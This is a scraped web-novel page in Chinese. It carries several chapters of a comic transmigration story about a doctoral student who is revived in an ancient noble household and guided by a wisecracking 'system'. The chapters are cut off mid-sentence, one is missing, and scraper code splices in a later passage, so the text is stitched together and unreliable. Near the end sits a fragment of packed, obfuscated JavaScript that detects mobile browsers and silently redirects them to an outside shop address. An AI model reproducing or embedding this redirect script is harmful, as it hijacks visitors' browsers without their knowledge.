《冷门专业穿越自救手册》 1. 1 《冷门专业穿越自救手册》全本免费阅读 夜幕降临,阴云密布。 惨白的月辉透过充满缝隙的危墙,与空气中弥漫的血气相互碰撞,诡异应运而生。伴随着飘荡的尘埃和蛛网,“嘎吱嘎吱”声不断响起。 陡然,一只沾满土壤和鲜血的手从潮湿的土壤缝隙中钻出! 随着裂隙越来越大,一个苍白而纤细的女子慢慢从土里爬了出来。 她身上的衣物破烂不堪,头发大多因为土壤而粘黏在一起,全身上下布满了伤痕。好不容易吐干净嘴巴里含有的泥巴,姜汾对周遭的环境满脸问号。 “诶呀妈呀!这给我干到哪年来了?” 方圆几里荒坟林立,仿佛没有一点人烟,姜汾哆哆嗦嗦擦拭了一座坟上的灰尘,仔细一看:狗蛋,芪朝元年死。 穿越了? 天塌了! 姜汾抬头45度向上,企图不让眼泪落下。 几分钟的姜汾抱着几百页的论文资料艰难地前行。当她右脚因不慎踩到一颗小石子而右脚绊左脚,两脚\交织而花式摔倒时,她眼前散落的不仅仅是文献,还有自己咬牙硬挺熬过了数年学业生涯。 上一秒还在吐槽自己摔得有多疼,下一秒就发现自己痛不欲生了。 “赵老头,都让你早点给我安排工作,非让我沉淀,现在好了吧,一朝穿越,沉的是三十岁如淀粉般脆弱的身体!” 现代社会的姜汾,博士就读于某985名校的无脊椎动物语言学系,是教授赵学生从业十年来招到的第一个学生。 寒窗苦读十二年,好不容易考上名校却被调剂到什么没人听过的无脊椎动物语言学,自此和本专业导员开始了谁请假全专业放假的状态。 顶住压力上大学,本以为专业人少,发展前景广阔,毕业就会被国家优先提拔安排住处,谁知导员一声令下点名她学得不精,最好考研。 结果研三那年又多了个师弟,从此以后,本就无法就业的问题雪上加霜。 教授老赵郑重其事地拍了拍她的肩膀,说:“内卷吧,读完博就好了!读完博我的位置就是你的了。” 读上博士继续焦虑怎么就业的姜汾一下子就穿越了,那她从六岁起的二十多年学业生涯算什么,泡腾片冲酒冒起的连环泡泡吗? 巨大的打击猝不及防降临在姜汾身上,她的身体弯曲成弓形,头深深地埋在膝盖里,整个人在颤抖,痛苦如带刺藤蔓紧紧缠绕着她。 在无尽的黑暗中,一道机械的声音突然在脑海中响起。 【冷门专业自救系统为你服务,亲爱的冷门专业受难生,你共有以下选择:一,完成任务,回到现实生活中获得一份年薪两百万的高薪工作。二,立刻死亡,提高我同事死神的业绩,让她获得升职加薪。】 毫无选择的姜汾面临突然出现的转机,毫不犹豫地大声喊出:“一!我选一!” 系统“呵呵呵”地笑了起来,然后秒变正经。 【恭喜绑定冷门专业自救系统,我是李坝坝,你也可以称呼我为父亲,拥有读取他人心声的技能。现在,组织给予任务,倒数三二一,我们即将被传送到案发嫌疑人芙奴身边。】 接着,不等姜汾问出内心疑惑,四周便泛起无数灵光,将坟场的背景逐渐模糊,姜汾的意识也慢慢消失,整个人晕眩着倒了下去。 再次醒来,她躺在冰冷的地板上。 不远处的床铺上正躺着一个娇若凝脂的美人,她的睡姿优雅而舒适,头歪着,身子伏着,嘴巴微微张开,那神态楚楚动人,妩媚极了。 姜汾:美女贴贴。 【她是杀害原主的凶手芙奴,而你是被害者姜汾,是侯府二公子闻行的正妻,她作为一个婢女,为了上位将你下药毒死,正义的组织需要你扳倒她,还原主一个公道。】 姜汾:美女有毒。 姜汾直言:“需要我怎么做。” 【扮鬼吓死她。】 观察了一下自己的形象:眼圈发黑,脸色发黄,蓬头垢面,特别符合鬼的形象。 于是姜汾没有犹豫,直接大胆地上手拍醒了芙奴。 芙奴本来睡得香甜,迷迷糊糊之间被人拍醒,只觉得是今晚伺候的婢女有事禀报给她,艰难地睁开眼睛,却陡然发现一个似人非鬼的东西瞪大眼睛直勾勾地盯着她。 “啊——” 才醒没多久的芙奴两眼一闭、双腿一蹬再次闭上了眼睛,彻底昏死过去。 姜汾看了一眼窗外亮起的烛火,忙问系统:“她这一叫应该不会被别人听到吧?” 【系统只管理宿主,不能对其他人伸手。】 意思是芙奴这一尖叫已经彻底暴露了姜汾的存在。姜汾慢慢冷静下来,觉得这可以是个利用的机会,于是慢悠悠地循着床边坐了下来。 没过多久,好几个婢女冲进房内,打开门的那一刻,却见本该早已死去的姜汾正蓬头垢面地坐在芙奴床上悠哉悠哉地喝茶。 姜汾不急不慢地递了一杯茶给她们,问:“上好的铁观音,喝吗?” 如涨潮般来的婢女此刻如落潮般退去,好像从未来过。 【李坝坝同志在线提醒您,你的丈夫闻行还有三分钟到达现场,请做好准备,全军出击。】 好耳熟的台词,姜汾来不及思考这段话的出处,先把廊庑(1)两侧的熄灭的灯盏点亮,紧接着把芙奴扶起来,将她藏身到踏步(2)中。 做好这一切,姜汾“咻”地一下跳上床,将被子往空中猛地一扔,四肢蜷缩起来,仅仅只是须臾之间,被子便完全包裹住了她。 【能不能不要以这么猥琐的姿势出现在你的丈夫面前……】 姜汾:“为什么不要?我可是一只被慵懒的小猫咪。” 【因为组织的任务之一便是拯救闻行阴暗的性格,让他成为正道的光。】 姜汾口头上说着明白,却我行我素,根本不改变自己的姿势。 三分钟时间到,大门“嘎吱”一声,一道挺拔的身姿伴随着轻微的脚步声跨入房中,姜汾明白:闻行来了。 闻行慢慢来到床边,看到了踏步中因烛光摇曳而不断晃动的身体。他遵循本能,用身上的佩剑轻轻挑开那帐幔,发现藏着的不过是芙奴后轻蔑一笑。 他瞬间明白了床上那人的计策:用芙奴当幌子吸引自己的注意力,然后趁自己不备,再行刺杀。 见床上的人还有动静,随即,他一剑出鞘, 2. 2 《冷门专业穿越自救手册》全本免费阅读 两人相顾无言,却是各自心怀鬼胎。 闻行开口打破这一沉默:“随我来。” 说罢,两人离开芙奴的房间,一句弯弯绕绕沿着走廊向正房走去。 路上婢女侍卫全都被叫醒,每个人睡眼朦脓却还是要强装镇定地开始忙活。姜汾从他们身旁路过,他们连头不敢抬,只是手上的动作更加的慌乱。 半夜突然出现的姜汾明显打破了侯府应有的平静。 闻行自始至终面色都没有出现一丝变化,仿佛这一切与他没有任何关系,他平静地指挥着: “你,带少夫人去洗漱。” “你,煮点姜汤给少夫人喝。” “你们,去芙奴的房间收拾,人丢到侯爷门前。” …… 侯爷是闻行的父亲闻小芳,以至于姜汾听到闻行要把一个死人丢到他父亲门口时心跳都漏了一拍。 但她来不及做任何反应就被一个婢女带走了。 这府上的下人和闻行的性子如出一辙,像一群没有任何情感的机器废品,满身铁器锈味地做着自己的事,话少的可怜,更没有一点儿生气可言。 半个时辰之后,姜汾穿戴整齐。她看了看如今的自己,脸与现代社会的自己长得一模一样,可华美的服饰与妆容衬得她皓齿瓠犀,螓首蛾眉,整个人如同精致的瓷器,细腻而温润,又恰似那精雕细琢的玉兰花,高洁而清雅。真是秀色可餐的美人儿。 她看着给自己描眉的姑娘,大着胆子试探:“你叫什么名字?” 那位姑娘眼神中闪过一丝慌乱与惶恐,却在一瞬之间冷静下来,回复:“少夫人,奴婢是吉吉。” “可许有人家?” “奴婢一心为侯府,哪有什么出府嫁人的心思?” 姜汾终于绕到自己想问的问题上了,于是抓着吉吉的手,恳切道:“吉吉,我这刚回侯府,什么事都忘却了,且说什么父母亲戚都不晓得,你定要细细地与我道来,不要有任何欺瞒。” “奴婢知道。” “那芙奴害我之后,闻行待她怎样。”姜汾觉得这有些太过于直白,便换了个说法:“你觉得她怎样?” 吉吉不动声色地把自己的手抽开,然后说道:“您出事之后,她因为有孕被抬为妾,但说来也奇怪,二少爷从来不去看她,侯爷倒是是不是抽空去关心她。” 闻行的妾,闻小芳却明显地更上心一些,其中怕是牵扯了很多不为人知的秘密。 【李坝坝温馨提醒,芙奴的孩子与闻行辈分相同。】 再傻的人都会明白,闻小芳这是人到中年还能一举得子啊。 那么也就是说,闻行妻子被杀,他还得被迫娶了父亲的小情人做妾,其中的辛酸苦辣真是让人难以言喻。 以至于当闻行亲自端着一碗姜汤来到她面前时,姜汾看向他的目光都多了几分怜悯。 【系统准备启用读取他人心声功能,请宿主确认。】 姜汾:“Let''sgo.” 【一次警告,系统是纯种中国汉子,拒接洋文鸟语思密达,警告完毕。】 闻行:…… 吉吉:半夜三更起来伺候人真烦,想杀了在场所有使唤我的人。】 姜汾立即想到了被一剑封喉的芙奴,于是毫不停留地说:“闻行,大半夜的,让这些婢女们赶快回去多睡会儿吧,不然明天的精气神都被今晚磨没了。” “筠婉,你很奇怪,平日里你从来都是叫我二郎的。”闻行眉头一皱,但并没有在此事上多做计较,于是转头吩咐:“都下去吧,今晚起来伺候的所有人每人领赏钱一百钱。” “谢少爷。”吉吉说罢便面无表情地离开了,只留下系统读出来的一句轻飘飘的吐槽。 【吉吉:真是井底的□□上井台---大开眼界,终于大方一回了,铁公鸡。】 姜汾上牙包下牙,虎牙咬溃疡,快被吉吉那阴阳怪气的语气整得憋不住笑了。 “你笑什么?”闻行眼弧微张,气场中多了些难以忽略的压迫感。 “你找我是有些事吗?”姜汾淡淡收住了笑,知道无论怎样正面回答他的问题都是死局,倒不如另辟蹊径。 果然,闻行没再纠结这个问题,只是淡淡开口:“今夜你先好生休息,我已将你回来的消息告知你父亲,岳父明天一早就会赶过来,到时,我带你去见他。” 于是再无他话,各自安寝,直至天明。 黎明啮咬黑夜的血管,于是向天际洒下了绯红的血迹。姜汾便踩着这抹红色走向前厅,彼时姜父姜图图早已在那儿守候,见面第一句便是:“早晨天如此红,怕是要下雨了。” “筠婉,你记得我与你说过你出生时你母亲难产,那日的天空就是这般红。” “我记得,父亲。” 四十岁左右的姜图图已是满头白发,瞳孔颜色暗淡无光,失落和无助浸染整个脸庞,良久,他才断断续续开口:“你不是我的筠婉。” 声音有些低沉沙哑,仅能让两人听见。 【这是闻行的试探,宿主,请务必让姜父相信你就是真正的姜汾。】 姜汾不舍得骗这么一位悲痛的父亲,只能咬着牙说:“父亲,我是。” “你不是。” “我是。” 与姜图图的见面不过是个幌子,闻行真正想确定的是自己的身份,如若连姜父都不认她,那么自己就会只剩下死路一条。 两人在无声地博弈,最后是姜图图率先投降,声音扩大了些,道:“是我的好女儿,是她。” 这时,闻行才从一旁缓缓走出来,眼神中带着不加掩藏的怀疑。 “既然如此,岳父大人见到了女儿,家中想必也有许多事需要处理,就请先回去吧。”看似在和和气气地商量,实则闻行根本不给姜图图回旋的余地。还没等姜图图反驳,他便挥挥手,“送客。” 姜父为什么相信了姜汾,她不知道,但她能清晰明白,此刻闻行是不打算放过她的。 姜图图离开的那一刻,姜汾好像看见了阎王爷在向她愉快挥手。 【温馨提示,闻行对您的喜爱度为百分之一,请再接再厉吧。】 “你喜欢芙奴么?”姜汾掩藏心中的恐惧,抬头直视他的眼睛问道。 “怎么会突然这么问。” 姜汾发挥这辈子最好的演技,下一刻便泪如雨下,她脸上的伤痕还未痊愈,泪水划过脸颊让她倒吸一口凉气,“你若 3. 3 《冷门专业穿越自救手册》全本免费阅读 作为芪朝极有威望闻家,家族体系如百年大树,各种亲戚关系错综复杂而又因礼教而尊卑有序,是一个巨大的矛盾体。其中,最具代表性当属侯爷夫妻二人之间的仇恨。 系统开始为姜汾分享闻小芳和他的妻子赵大战之间的爱恨情仇,小嘴巴听起来讲秃噜皮儿了还在疯狂输出。 【赵大战为人性情鲁莽非常,经常把事情搞砸,为此他身边的很多人都讨厌她,你待会儿可以从她入手。】 姜汾:“这个性子是怎么在这个水深火热的家族里生活下去的?不会是闻小芳对她就像闻行对原主一样吧。” 【赵大战之所以脾气暴躁还能成功嫁入侯府,多亏了她的大姐是当今倍受皇上宠爱的贤妃,父亲位居尚书令,她的侄儿赵屿也在去年夺得了探花,赵氏一族可谓说是蒸蒸日上。 侯府众人虽说不喜她的人众多,可谁敢和她作对?】 姜汾:“这么性情直爽的女子怎么生下闻行那个老谋深算的鳖孙?” 【赵大战并非是闻小芳发妻,她是在闻行走失、闻母病逝的后一年作为续弦嫁进来的,婚后生有一子名为闻演。】 “筠婉。”闻行本来一直走在姜汾前面,突然一下停了下来,让根本没注意的姜汾直接一头撞到了他的背。 “怎么了?” “没事,看你一直没动静,想提醒你到厅堂了。” 果然,姜汾抬起头来,便看见一对雍容华贵的中年夫妻站在正门门口,像是专门来迎接她似的。 姜汾毕恭毕敬地走过去,温顺地行了一个礼,然后客套道:“父亲,母亲,何必到外面来受风?伤了身体倒是我的不是了。” “不必客套,你是人是鬼我们也说不清,不敢与你多深交。” 说话那人正是赵大战,她比姜汾心中想象的还要鲁莽一些。 说罢,赵大战便甩了一下衣袖,自顾自地走进厅堂。众人没人敢做声,默默跟在她的身后。 进了屋,四人各自落座。在三言两语的谈笑间,下人们先沏了茶,再熏了香,然后退去,只剩下屋内心怀鬼胎的四人。 闻小芳率先开口打破沉默:“听闻你是昨晚回来的,可侯府护卫重重,你是怎么进来的?” “父亲是想问,她到底是怎么进到芙奴房间的吧。”闻行边说边端起茶来慢慢地抿了一口,尽显优雅高贵。 姜汾想了想,谨慎回答:“我想来也是应该断了气的,可埋在土里的那一刻听见了菩萨的心声,她说我大难不死,必有后福,于是将我安全送了回来。” 封建社会下的人们对神鬼之事相信非常,他们觉得自己对待神鬼的态度会直接影响自己以后的气运和来世的福分。 于是,即使这个说法再离奇,闻小芳也只能咬着牙道:“能得到菩萨的保佑,倒也是我们闻家的福分。” 这段对话倒是让坐在身旁的闻行轻笑了一番。见闻小芳盯着自己的眼睛满是复杂的情绪,闻行道:“筠婉,你刚回来,想来父亲母亲也是开心的,你为他们敬一杯茶吧。” 姜汾不敢拒绝闻行的要求,对于这个随时随地能弄死自己的人,她一边只能牢记芙奴的下场,一边假装情愿地做事。 “父亲,母亲,来喝茶。” 闻小芳先接过茶,没喝多少便心情不佳地放了下来。 倒是赵大战对姜汾递的茶抿了又抿,迟迟不放下。姜汾端着茶盘本以为她会像闻小芳一样迅速放下来,便自作主张想要去接茶杯,岂料正是这一错误的举动,导致赵大战没端稳茶,温热的茶水顺势倒了下来,打湿了她的衣物。 姜汾有些慌张,急忙拿出今天早上吉吉给她别的锦帕,为赵大战擦拭。 很明显,赵大战也是有些慌张的,两人慌乱之间,姜汾竟然无意间瞥见,赵大战手腕处一道新伤。 那道青紫甚至泛着淤血的疤看起来覆盖的面积绝对不小,照这个伤势,绝对不是什么意外摔倒导致的。 道了几句歉意的话后,她面色不变回到自己的座位。 待到几番对话后,四人明白,再聊也不会有什么新花样时,决定就此散了。 就在这时,姜汾却突然开口:“母亲,脏了你的衣服,我真的很抱歉。我房间里有一套上好的蜀锦做的衣裳,为了表达我的歉意,您可以明日来我房中,我送与你可好?” 赵大战神色复杂地看了她一眼,没答应也没拒绝,径直走了。 倒是闻行,在闻小芳走后,戏谑地问:“刚见第一面,情感就如此好么?” 姜汾能对一个刚见面的陌生人有什么好感,只不过是缺德的系统在刚刚给她安排了一个缺德的任务。 【分路任务已开启,请利用您无脊椎动物语言学的深厚专业知识储备,博取重要人物赵大战的欢心。完成任务会获得神秘道具,且现现代社会中工资加一千。】 姜汾:“我要是没完成呢?” 【那我就得庆祝一下自己刚辅佐一个宿主,就让宿主嘎了的光辉事迹呗。】 不知道自己是否成功邀请到了赵大战,姜汾只能开口请求闻行的帮助:“你能不能帮我请母亲来我房内?” 闻行:“为什么?” 对合作者需要给予一定的知情权,于是她告诉闻行:“你看见母亲受伤了吗?那痕迹不像是意外,更像是人为殴打导致的。” 现代社会的姜汾家境倒也不算是特别好,妈妈因忍受不了爸爸的家暴而选择离婚。双方分开后,自己就一直跟着母亲生活。 从伤痕累累的家庭主妇到月薪两万的销售经理,姜汾的妈妈承受了很多。这也是为什么姜汾在冷门专业里疯狂寻求工作的原因,她时时刻刻都记得母亲满身的淤青,她太想为母亲分担压力了。 闻行对赵大战身上有伤的事情还是有些吃惊的,毕竟她那样的身份,谁敢动她一下?但冷静下来,他便明白,“你是想要利用这一点么?” “我知晓了,明日她定会准时去找你。” 说罢,闻行便离开了。 姜汾有了他这句保证的话,心中到底是有了些底。 于是,她也开始筹措起自己的计划。 “吉吉,你派一些人去准备一些蜜蜂和鲜花来,记住蜜蜂,活的。” “这位同志,麻烦准备一些蚁蚕来,就养在我房内梳妆台前。” 大致准备完毕后,姜汾的房间里多了许多无脊椎动物,感受到了大自然的声音,她感觉内心都轻松不少:终于回到自己的舒适区了。 …… 翌日,赵大战果然来了。 不知道闻行使用了什么方法,赵大战来时心情竟然还有些愉悦。 “你房内怎么这么多东西?”她虽然性情豪爽,终归是一辈子困在闺阁内院,很少接触这些。 赵大战明明内心有些怵那些蜜蜂,可当它们围着鲜花一个劲儿地绕时,她也觉得有些快然了。 “我上一次看到此情此景,还是十几岁未出阁时。” 姜汾觉得是时候了,于是解释道:“听闻这蜜蜂又唤作金翼使,若是其中一只见到鲜花,必会以其特定的舞姿吸引其他蜜蜂前来采蜜。” “如今正值盛夏,我 5. 5 《冷门专业穿越自救手册》全本免费阅读 闫郎中是闻家最信任的郎中,已专门为闻家上上下下看诊数十年,深得闻小芳信任。 他是个精神抖擞的小老头,一来便不把自己当外人,直接在姜汾面前坐下。 姜汾还没反应过来他要做什么,闫郎中直接命令她把手伸出来。见姜汾迟疑地伸出手,他直接一把就薅了过来,嘴上还不闲,操着一口地道的陕北口音,道:“我一把年纪了,又不会占你便宜,慢吞吞的干什么?” 停顿了半刻,他摸了摸自己的山羊胡,道:“小辈,你是不是最近头晕不清、恶心、厌油腻啊?” 这症状怎么听都像有孕,姜汾有点害怕,头摇得跟拨浪鼓似的。 闫郎中冷哼一声,白了她一眼:“干嘛讳疾忌医?你湿热腹胀就需要调肠理气,小心得痔瘺。” 【痔瘺,古代的痔疮,恭喜宿主离这种痛苦的疾病又进一步。】 姜汾当场石化,微风轻轻一吹,便有了不可弥补的裂痕。 自从闫郎中来了,闻行一直没开腔,直到看到姜汾傻愣愣的样子,心里觉得有些可爱,便轻轻笑出了声,岂料闫郎中是个公平的人,看了一眼闻行便道: “小小年纪,看你面相就知道你肾脾虚弱。” 闻行再也不笑了。 “好了。”赵大战及时开口阻止这场闹剧,道:“闫郎中,我们请你来,是想你给我家老爷看看病。” 话毕,闫郎中斜眼望了一眼闻小芳,便大惊失色道:“我滴个亲娘,老爷,你咋一脸残花败柳之气呢?” 闻小芳冷着脸让他不要胡说。 闫郎中开始了严谨地推理论证,“你最近是不是畏寒、发热、食欲不振、恶心、呕吐?不行,跟我进房间里,你脱了裤子,让我看看你是不是得了花柳病。” 闻小芳作为一个极其好面子的人,在听到闫郎中的第一句话时就心死了。他甚至不敢去确认,因为一旦得到了郎中的确认,就代表自己苦心经营了多年的好名声,会在顷刻之间成为各大家族的笑柄。 他的手颤抖地不像话,最终不知道哪里来的力气,把闫郎中推开几米远,然后一个人颤颤巍巍地离开了。 【系统提示,赵大战喜爱度达到百分之五十。】 姜汾明白任务拖不得了,于是在赵大战也要离开时,大着胆子问:“母亲,午饭还没吃呢,你愿意来和我一起吃饭吗?” “我不是会陪你吗?”闻行挑了挑眉,看了姜汾一眼,然后道:“筠婉,你等一会儿,我且去换个衣服。” 姜汾没理他,只是坚持道:“母亲,我最近收了不少蜜,你来尝尝吧。” “好。” 赵大战爽朗一笑,算是答应了。 …… 原主最开始嫁给闻行时,是跟闻行住在西厢房的。后来闻裕去世,他们也按照规矩搬到了东厢房,那时姜汾正在学诗,一时兴起,为东厢房命名为玉蕤轩,取花中精华之意,却不想恰好应了此时这里花团锦簇的美景。 这些事,还是系统那藏不住事的嘴巴讲的。 闻行还没来,姜汾和赵大战先行落座。 在此期间,姜汾旁敲侧击地问赵大战身上伤势究竟是如何来的,赵大战却总是笑着把这件事揭了过去。 既如此,再问也只会平凡增添一些不喜,姜汾便把这几日采的蜂蜜尽数拿了出来,“母亲,待会儿吃完饭,我派人把这些蜂蜜送到正房。” 这时,几个婢女涌了进来,开始布菜。其中一个婢女悄悄挪到赵大战身旁,附在她耳边说了几句话。听完话后的赵大战,明显心情好了许多,根本掩饰不住笑意。 正巧闻行从外面过来,动静让几个婢女赶紧退了出去,姜汾凝神静气,在这短暂的时间里把那位婢女的脸记了下来。 食不言寝不语,饭中无言,饭后更是无话可说。况且此时不知怎的,赵大战竟然急切地想要离开,应该是有什么要紧事。 姜汾站起身来,面带微笑与闻行一起将赵大战送走。 随后,她丝毫没有停歇,带着吉吉就去下房找人。 下门中,一个房间有十来个佣人挤在一起,又正值夏秋多雨季节,房内潮湿不堪,阵阵霉味散发。 推门一进去,姜汾便看见那位婢女没去干活,正躲在床铺上,一个人数着碎银。 吉吉大喝一声:“毛毛,你为什么不去干活!” 名叫毛毛的婢女被吼声震到了,一时有些反应不过来,待转过头看清来人后,浑身发颤地迅速下床跪在地上。 姜汾问吉吉:“你们一月赏银有多少?” “一等丫头一个月一两银子,二等丫头一个月一吊钱,三等丫头一个月五百钱,毛毛是三等丫头。” 估摸着床上散落的碎银子有十几两了,毛毛一个看起来刚入府不久的年轻丫头怎么会有这么多钱。 吉吉看出了姜汾的心思,也明白以她的身份,是不好参与府中账务之事的,于是朝着门外,又叫了几个婢女来一齐将毛毛捆住。 “你休要在此时此刻说出你银子的来源,别把二少夫人陷入多管闲事的境地,我们且把你绑着去见二少爷,让二少爷处置你。” “吉吉。“ 姜汾叹了口气,道“何必把这件事闹得这般大?叫这些人出去吧,也让她们管好嘴巴,别惹是生非。” 然后,她蹲下身子亲自为毛毛解开绳索,耐心道:“你不用害怕,毕竟你害怕也没有什么用。” “你且告诉我,你的银子是怎么来的,到时候你不说我不说,吉吉也不说,谁还会知道你银子的出处,你的银子一分不少还是你的,我也会另给你一些奖赏。” “相反,若是你不太听话,把你赶出侯府是小事,要是把你拱到侯爷那里,或者把你送到开封府去,那时你要怎么办?” 跟着系统这么多天,她也算是学会系统那不要脸的威逼利诱了。 【闭嘴,不要讨论我,我会一直视奸你,永远。】 毛毛早就被吓破了胆,豆大的汗珠止不住地顺着额头往下掉,脸色苍白不已。 “或者说,你记得芙奴的结局吗?” 听到姜汾这么说,毛毛终于受不了了,眼泪“啪嗒啪嗒”往下掉,边哭边说: “二少夫人, 6. 6 《冷门专业穿越自救手册》全本免费阅读 吉吉被姜汾推着离开了。 姜汾本来想一边推着吉吉,一边假装没看见闻行默默离开的,结果被闻行当场抓包。 “你去哪儿?” 或许有人天生就是笑面虎,即使姜汾在努力装作看不见眼前的闻行,也无法忽略他嘴角无法隐藏的笑意。 姜汾被他陡然出现的声音略微吓了一下,然后尬笑着被迫停留在原地,看着吉吉走远。 “父亲明日就启程回徐州祖祠,今日自从听了闫郎中的话后便再也没心思出来了,你可以放心实施你的计划。” 姜汾闷着不做声,像是在陈述自己没有任何计划的纯洁心灵。 “还有就是,”闻行一直在观察姜汾的脸色。看出来她有些不愿意在这个话题多做停留,便转移开了话题,道:“岳父刚刚托人送消息来,想让你回去看看他们,如果你不忙的话,最近便可以动身。” 对于去姜府这件事,姜汾知道不可以拒绝。但她明白,去的话就面临着又要开辟一个新地图,到时候与自己牵扯的人物关系就会更多,这无疑会让自己完成系统任务的难度大大提高。 内心一百个不愿意,表面都得装得心甘情愿。姜汾甚至还反过来邀请闻行:“夫君,你愿意一起去吗?我一个人回去有些怕。” 她故意把话说得娇滴滴的,就是想要恶心一下闻行,未曾想闻行笑得更深了,道:“我还以为你不愿意我去,既然如此,我后天军营中事务较少,届时我一定陪你去。” “不用不用。”姜汾没想到他会答应得如此爽快,一时之间没反应过来,只能慌忙解释:“你作为我国大将,保护一方平安,我的小事怎么敢让你操心?” 说罢,姜汾便慌慌张张逃走了。 倒是留在原地的闻行第一次没挂住笑脸,他看着姜汾离去的背影,惊讶地发现,原来一个正常人脸可以红得如此彻底。 …… 【恭喜宿主,赵大战喜爱程度达到百分之七十五。】 临近天黑,浓密的黑云积压在阴沉沉的天空,姜汾把窗户打开,一阵微风拂面,吹散了积聚一下午的闷热,不过旋即之间,清凉的雨水便倾盆而下。 姜汾终于感受到了一丝凉爽,她问系统:“我已经知道了赵大战与那石虎的私情,这场大雨之前池塘前的美丽,算作我送他们的礼物,赵大战收到之后肯定会开心,一开心便会对我多加喜爱一些。” “但是,你必须得告诉我他俩的八卦,不然我就引决,让你努力多日的宿主死了个透心凉。” 【系统严重警告,李坝坝不接受任何形式的威胁,请宿主端正态度。 然后是八卦:话说十五年前,赵家还没有那么风光的时候,赵大战被迫嫁给闻小芳当续弦以抬高家族的声望。 可是闻小芳流连花丛,不曾对她上心,于是在一个月黑风高的夜晚,面对一个小他三岁的年轻精壮的石虎,她没忍住。自此,闻家的事也没多值得她挂念了。】 姜汾:“我有一种奇妙的感觉,闻演不会是石虎的孩子吧。” 【请遵循你的感觉。】 姜汾:“那这闻小芳还真是活该,大儿子去世,二儿子反目,三儿子非亲生,一家子都想着怎么整他。” 但是,还有一处奇怪的地方并未挑明,那就是赵大战身上的伤究竟因何而起。 闻小芳的嫌疑暂时被排除了,可为什么之前赵屿来闻家大闹时,闻行就像是故意强行把这个罪名按在他的头上。 一种奇怪的念头不断滋生,姜汾渐渐觉得,自己的所作所为就像是在一直被闻行窥探,然后被他牵着鼻子走完一场按部就班的棋局。 正巧院外传来一阵声响,姜汾明白,这是闻行回来了。 她轻轻打开房门走了出去,正巧与经过的闻行打了个照面。闻行见她心事重重的模样,便识趣地让下人们退下了。 姜汾突然不愿意他陪自己回姜家了,只怕这个人到时候又给自己埋下什么陷阱。 于是,她神色认真道:“夫君,我想了又想,我实在思念父母得紧,我还是明天一早动身吧。你也不必专门为我跑一趟,耽误了军营里的要务反倒会让我羞愧。” 闻行见她不像是开玩笑的,然后就说:“反悔了?” “不是反悔,只是在为夫君认真考虑事情。” “那我还得好好感谢你为我的付出了?” 话里没有任何生气的语气,甚至连语调都是温和的,可就是会让人平白生出一种不寒而栗的感觉。 “不敢。” 不知道从何时起,闻行便减少了叫她筠婉的次数,好像在默默地把她从原主的身份中剥离出来。 姜汾意识到这一点,突然心中有一计,想要试探闻行的底线。 “听说夫君与那赵屿是好友?” 闻行道:“他如今是国子监司业,从六品官员,与我在朝堂之上抬头不见低头见的,肯定是会有些交情。” “所以……”姜汾话风一顿,像是想到了什么,道:“是你把他叫过来给母亲助威的吧?” “母亲回赵家探亲那段时间,我曾去看过母亲,顺便与他寒暄了几句,他能来,我也算是知情。” 话里话外没有直接说是自己请赵屿来的,但表达的事实就是如此。 为什么闻行会在关键时候出场,为什么赵屿会在闻行出场后不久就离开。他要闹事,明明是闹得越大越好,这样才会为自己姑姑伸张正义。偏偏他走了,就会显得这之前的一切都像是在为闻行的出现做铺垫。 这样,不仅将罪名安在了闻小芳身上,还巧妙地把自己摘的一干二净,更为自己赢得了一个公正无私的好名声。 不愧是出走十几年仍然能杀回侯府的人,真是好算计。 姜汾知道老虎的屁股摸不得,只能问下自己最后一个疑惑:“母亲的伤,你知情吗?” 闻行挑了挑眉,然后说道:这种事情我怎么晓得?” 【系统晓得,李坝坝我晓得。】 姜汾心中怒涛汹涌,她的心声都是紧咬牙关的:“你不是说涉及主线任务,你不告诉我吗?” 【事情都到了这个份上,我憋不住了。假设你人都到了茅房门口,感觉正浓,你不会不进去吧。】 雅,这个比喻实在是太雅了。 探老虎不如听八卦,姜汾匆匆行了个礼,告了别,然后脑袋一撅,转头就走了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12871093|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “老太太刚刚嘴唇突然变了颜色,已经发紫了,侯爷却没有先管老太太,而是叫人把三少爷控制住了。” “他现在在三少爷那儿?” “没有,他把三少爷绑着一起去石虎那儿了。” 大概知道了事情的发展,姜汾心下了然,跑去赵大战房间里。 姜汾着急地问:“闫郎中,怎么样?” 闫郎中却是不紧不慢,他回头看了一眼姜汾,道:“刚刚天色昏暗,我也真是老眼昏花了,没看见去药铺劫我的竟然是侯府夫人。” 姜汾没空和他掰扯,重复了一遍,问:“老太太怎么了?” 闫郎中终于正面回答:“老太太呢,刀伤没伤到筋脉,没伤到器脏,这些都还好,只是从症状来看,刀上怕是有毒。” “我刚刚扎了银针,又仔仔细细看了气色,望闻问切做了个遍,最终还是觉得这应该是罗汉毒。” 姜汾连忙问:“什么意思?” “罗汉毒,是匈奴惯用的法子,能使人在一天之内全身瘫痪,不害人性命,却是个极其折磨人的法子。” 闫郎中深深叹了口气,又补充道:“因为这毒很少能接触到,这解毒的法子自然也就少之又少,京城之中,没人敢妄自解毒。” 姜汾听后,愣了一会儿。 这行刺的人下手狠辣,却又下不去毒手,将人直接杀死。偏偏这毒又来自匈奴,要是这凶手真的出自于侯府,那朝廷势必会怀疑侯府。 而且闻行又掌握着兵权,是皇上亲封的镇北将军,他的府里突然出现了这种事情,任谁路过都会弹劾两句。这种事,处理不好就得诛连九族,到时候,谁都得遭殃。 “闫郎中。”姜汾权衡利弊,道:“你一直以来医术高明,却对老爷子谎称他有花柳之症,而且为什么老爷子杀了你一个药童之后不敢再动你,你上那么多人家去宣传老爷子的举措,他都没有直接派人了结你。我猜,是你一开始就和闻行串通好的吧。” “闻行能保证你当时活下来,可现在你也知道,这罗汉毒一旦败露了出去,侯府会亏空,侯府一旦出了事,你的死期也就不远了。” 面对姜汾的层层推理和说服,闫四海一时惊讶,错愕道:“你是怎么知道我和侯爷联手的?” 他之所以最近几年一直负责闻家的看病之事,就是因为几年前,他就和闻行联手,准备扳倒侯府。 